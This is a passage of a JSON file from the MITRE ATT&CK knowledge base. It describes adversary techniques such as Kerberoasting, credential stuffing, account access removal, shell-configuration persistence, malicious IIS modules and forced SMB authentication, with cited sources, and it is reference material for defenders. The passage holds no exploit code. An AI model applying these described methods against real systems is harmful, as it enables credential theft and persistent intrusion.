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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                    "url": "https://attack.mitre.org/techniques/T1531",
                    "external_id": "T1531"
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                {
                    "source_name": "CarbonBlack LockerGoga 2019",
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"
                },
                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
                },
                {
                    "source_name": "Obsidian Security SaaS Ransomware June 2023",
                    "description": "Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.",
                    "url": "https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/"
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            "name": "Account Access Removal",
            "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ",
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            "created": "2020-02-11T18:39:59.959Z",
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                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
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            "name": "Credential Stuffing",
            "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
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            "created": "2018-04-18T17:59:24.739Z",
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                    "url": "https://attack.mitre.org/techniques/T1208",
                    "external_id": "T1208"
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                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Microsoft SPN",
                    "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms677949.aspx"
                },
                {
                    "source_name": "Microsoft SetSPN",
                    "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"
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                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "url": "https://redsiege.com/kerberoast-slides"
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                    "source_name": "Harmj0y Kerberoast Nov 2016",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/"
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                {
                    "source_name": "Empire InvokeKerberoast Oct 2016",
                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
                    "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"
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                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
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            "modified": "2025-10-24T17:49:15.097Z",
            "name": "Kerberoasting",
            "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "created": "2017-05-31T21:30:32.662Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027",
                    "external_id": "T1027"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                },
                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "FireEye Revoke-Obfuscation July 2017",
                    "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.",
                    "url": "https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf"
                },
                {
                    "source_name": "Linux/Cdorked.A We Live Security Analysis",
                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
                },
                {
                    "source_name": "Carbon Black Obfuscation Sept 2016",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
                },
                {
                    "source_name": "PaloAlto EncodedCommand March 2017",
                    "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"
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            "name": "Obfuscated Files or Information",
            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.(Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "id": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc",
            "created": "2022-05-31T19:31:38.431Z",
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                    "url": "https://attack.mitre.org/techniques/T1556/006",
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                {
                    "source_name": "Russians Exploit Default MFA Protocol - CISA March 2022",
                    "description": "Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved May 31, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
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                {
                    "source_name": "Mandiant APT42",
                    "description": "Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.",
                    "url": "https://www.mandiant.com/media/17826"
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                    "source_name": "Azure AD Conditional Access Exclusions",
                    "description": "Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion"
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            "created": "2020-02-19T18:52:24.547Z",
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            "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",
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            "created": "2021-06-03T18:44:29.770Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1505/004",
                    "external_id": "T1505.004"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                },
                {
                    "source_name": "Trustwave IIS Module 2013",
                    "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
                },
                {
                    "source_name": "ESET IIS Malware 2021",
                    "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.",
                    "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"
                },
                {
                    "source_name": "IIS Backdoor 2011",
                    "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.",
                    "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html"
                },
                {
                    "source_name": "Microsoft IIS Modules Overview 2007",
                    "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.",
                    "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"
                },
                {
                    "source_name": "Microsoft ISAPI Extension All Incoming 2017",
                    "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)"
                },
                {
                    "source_name": "Microsoft ISAPI Extension Overview 2017",
                    "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)"
                },
                {
                    "source_name": "Microsoft ISAPI Filter Overview 2017",
                    "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)"
                },
                {
                    "source_name": "MMPC ISAPI Filter 2012",
                    "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.",
                    "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx"
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            "modified": "2025-10-24T17:49:15.437Z",
            "name": "IIS Components",
            "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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        {
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            "created": "2020-02-10T19:49:46.752Z",
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                    "url": "https://attack.mitre.org/techniques/T1036/001",
                    "external_id": "T1036.001"
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                {
                    "source_name": "Threatexpress MetaTwin 2017",
                    "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.",
                    "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"
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            "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
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                    "url": "https://attack.mitre.org/techniques/T1683",
                    "external_id": "T1683"
                },
                {
                    "source_name": "IBM AI-Generated Content",
                    "description": "Tim Mucci. (n.d.). What is AI-Generated Content?. Retrieved April 22, 2026.",
                    "url": "https://www.ibm.com/think/insights/ai-generated-content"
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            "modified": "2026-05-12T15:12:00.709Z",
            "name": "Generate Content",
            "description": "Adversaries may create or generate content to support targeting and operations. This content may be used to establish personas, impersonate known individuals or organizations, and support [Social Engineering](https://attack.mitre.org/techniques/T1684), fraud, or influence activities. Written materials, audio, images, video, or other media may be developed and tailored to the target and objective.(Citation: IBM AI-Generated Content)\n\nContent development may occur prior to or during an operation. Adversaries may develop or generate content in-house, source it through third parties, or produce it using AI-assisted tools. Adversaries may use AI to research targets, develop pretexts, and better understand the organizations and individuals they intend to target or deceive prior to generating content (i.e., [Query Public AI Services](https://attack.mitre.org/techniques/T1682)); for obtaining access to AI tools used in content generation, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007). \n\nContent may be leveraged in support of techniques such as [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Social Engineering](https://attack.mitre.org/techniques/T1684), [Financial Theft](https://attack.mitre.org/techniques/T1657), or [Establish Accounts](https://attack.mitre.org/techniques/T1585). Generated or developed content does not include malicious code or scripts (i.e., [Develop Capabilities](https://attack.mitre.org/techniques/T1587) and [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007)).",
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                    "source_name": "ESET MirrorFace 2025",
                    "description": " Dominik Breitenbacher. (2025, March 18). Operation AkaiRy\u016b: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.",
                    "url": "https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/"
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                    "description": "Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.",
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                    "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
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                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
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                    "source_name": "Microsoft DART Case Report 001",
                    "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
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                    "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
                    "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
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                {
                    "source_name": "Varonis Power Automate Data Exfiltration",
                    "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
                    "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
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                {
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                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"
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                    "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.",
                    "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect"
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                    "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.",
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                    "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.",
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                    "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.",
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                    "source_name": "Magento",
                    "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.",
                    "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html"
                },
                {
                    "source_name": "Tsunami",
                    "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
                },
                {
                    "source_name": "PersistentJXA_leopitt",
                    "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
                },
                {
                    "source_name": "code_persistence_zsh",
                    "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.",
                    "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js"
                },
                {
                    "source_name": "ESF_filemonitor",
                    "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.",
                    "url": "https://objective-see.com/blog/blog_0x48.html"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
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            "modified": "2026-05-12T15:12:00.709Z",
            "name": "Unix Shell Configuration Modification",
            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "created": "2018-01-16T16:13:52.465Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1187",
                    "external_id": "T1187"
                },
                {
                    "source_name": "Rapid7",
                    "description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.",
                    "url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/"
                },
                {
                    "source_name": "Cylance Redirect to SMB",
                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
                },
                {
                    "source_name": "GitHub Hashjacking",
                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                    "url": "https://github.com/hob0/hashjacking"
                },
                {
                    "source_name": "Microsoft Managing WebDAV Security",
                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
                },
                {
                    "source_name": "Osanda Stealing NetNTLM Hashes",
                    "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
                    "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
                },
                {
                    "source_name": "Didier Stevens WebDAV Traffic",
                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
                },
                {
                    "source_name": "GitHub",
                    "description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.",
                    "url": "https://github.com/topotam/PetitPotam"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                },
                {
                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
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            "modified": "2025-10-24T17:49:16.134Z",
            "name": "Forced Authentication",
            "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template 